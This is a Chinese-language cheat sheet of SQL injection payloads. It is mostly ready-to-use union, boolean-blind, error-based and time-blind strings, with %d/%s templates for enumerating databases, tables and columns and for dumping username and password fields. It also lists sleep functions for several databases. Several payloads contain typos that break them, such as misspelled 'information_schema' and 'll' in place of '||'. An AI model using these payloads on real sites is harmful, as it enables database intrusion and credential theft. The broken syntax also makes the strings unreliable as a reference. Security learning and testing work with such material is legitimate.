0x01 sql注入命令记录

包含union注入、bool盲注和时间盲注。

0x02 基于union的sql注入

  • 首先判断注入点是数字型还是字符型。

    payload: 数字型:and 1=1 / and 1=2 后面跟着截断符号(– ss)

    ​ 字符型(单引号闭合):' and '1'='1 / ' and '1'='2,或者 ' and '1'='1'-- ss / ' and '1' = '2'-- ss

  • 判断查询列数(以字符型单引号为例)

    payload: -1' order by 4-- ss发现页面错误,但输入3的时候不报错,说明没有4列,只有3列。

  • 判断显示位置。

    payload: -1' union select '1','2','3'-- ss

    【让第一行查询的结果是空集, 即union左边的 select子句直询结果为空(所以设置为-1),那么 union右边的查前结果自然就成为了第一行,打印在网页上了,查看网页上显示哪个数字,就在相应的位置上注入。】

  • 注出数据库。(比如判断了回显位置是3)

    payload: 获取所有数据库名-> -1' union select1,2,group_concat(SCHEMA_NAME) from information_ schema. SCHEMATA-- ss 【group_concat()表示一次性显示】。

  • 获取数据库名之后,针对某个数据库获取其表名字。(比如数库 security)

    payload: 获取所有表名-> -1' union select 1,2,(select group_concat(table_name) from information_ schema.tables where table_schema='security')-- ss

  • 针对某个表获取所有列名。(比如表 users)

    payload: -1' union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')-- ss

  • 获取列中信息

    payload: -1' union select group_concat(concat(username ,'~', password)) from users-- ss

    group_concat()表示分组拼接, concat表示聚合在一行,用’~’连接。

0x03 bool盲注

【第一种:查询正确与错误返回不同结果】

【枚举数据库】

  • 获取数据库个数(‘+’表示空格,%d表示整数,%s表示字符串)。

    payload: 1'+and+(select+count(SCHEMA_NAME)+FROM information_schema.SCHEMATA)=%d--+ss

  • 针对每个数据库获取其长度。

    payload: 1'+and+length((select+SCHEMA_NAME+FROM+information_schema.SCHEMATA+limit+%d, 1))=%d-- ss

  • 针对每个数据库获取其名称

    payload: 1'+and+ascii(substr((select+SCHEMA_NAME+FROM+information_schema.SCHEMATA+limit+%d,1),%d,1))--+ss 【 limit由0开始, substr由1开始】

【枚举表】

  • 枚举某个数据库中表的数量

    payload: 1'+and+(select+count(table_name)+FROM+information_schema.tables+WHERE+table_schema='%s')=%d--+ss

  • 枚举某个数据库中表的长度

    payload: 1'+and+length(select+table_name+FROM+information_schema.tables+WHERE+table_ schema='%s'+limit+%d,1))=%d--+ss

  • 枚举表的名字

    payload: 1'+and+ascii(substr((select+table_name+FROM+information_shema.tables+WHERE+table schema='%s'+limit+%d,1),%d,1))=%d--+ss

【枚举表中字段】

  • 某个数据库中某个表中的字段数量枚举

    payload: 1'+and+(select+count(column_name)+FROM+information_schema.columns+WHERE+table_ schema='%s'+and+table_name='%s')=%d--+ss

  • 某个字段长度枚举

    payload: 1'+and+length((select+column_name+FROM+infomation_schema.columns+WHERE+table_ schema='%s'+and+table_name='%s'+limit+%d,1))=%d--+ss

  • 某个字段名称枚举

    payload: 1'+and+ascii(substr((select+column_name+FROM+information_schema.columns+WHERE+table_schema='%s'+and+table_name='%s'+limit+%d,1),%d,1))=%d--+ss

【枚举字段中的数据】

  • 枚举某个表中某个字段中数据的数量

    payload: 1'+and+(select+count(%s)+FROM+%s)=%d--+ss

    【count里面的参数是字段名称,第二个%s是表名称】

  • 枚举某个字段中某个数据长度

    payload: 1'+and+length((select+%s+FROM+%s+limit+%d,1))=%d--+ss

  • 枚举某个字段中某个数据名称

    payload: 1'+and+ascii(substr((select+%s+FROM+%s+limit+%d,1),%d,1))=%d--+ss

【第二种:无法利用or或者and时,创造错误条件】

【也就是说不论查询是否正确,都不会返回任何查向结果提示,除非sql查询本身出现错误】

payload: x' union select case when(username='administrator' and length(password)=20) then char(1/0) else null end from users-- ss

【上述这个语句,如果查向辺辑为真则出错,否则返回空页面】

0x04 时间盲注

  • 测试时间盲注。

    payload: x' ll sleep(10)

  • 案例

    【比如在知道 users表中, username字段中的个用戶名administrator/password序字段时候,猜解password】

    payload: x' ll select case when (username ='administrator' and (substring(password,%d,1)='a') then sleep(10) else null end from users-- ss

    【当里面的辑正确时,执行 sleep等待十秒返回,否则直接返回null】

  • 关于不同数据库的睡眠函数

    mysql: sleep(10)

    pg sql: pg_sleep(10)

    micrsoft: WAITFOR DELAY '0: 0: 10'

    【关于bool和时间盲注,可利用 burpsuite的 intruder columns模块进行枚举,但是需要注意,时间盲注只能单线程跑。或者可以写一些 python脚本枚举(这里就不贴出博主的了,网上可以查询)】。

0x05 参考

1、sql盲注之利用burpsuite.

2、一种新型SQL时间盲注攻击探索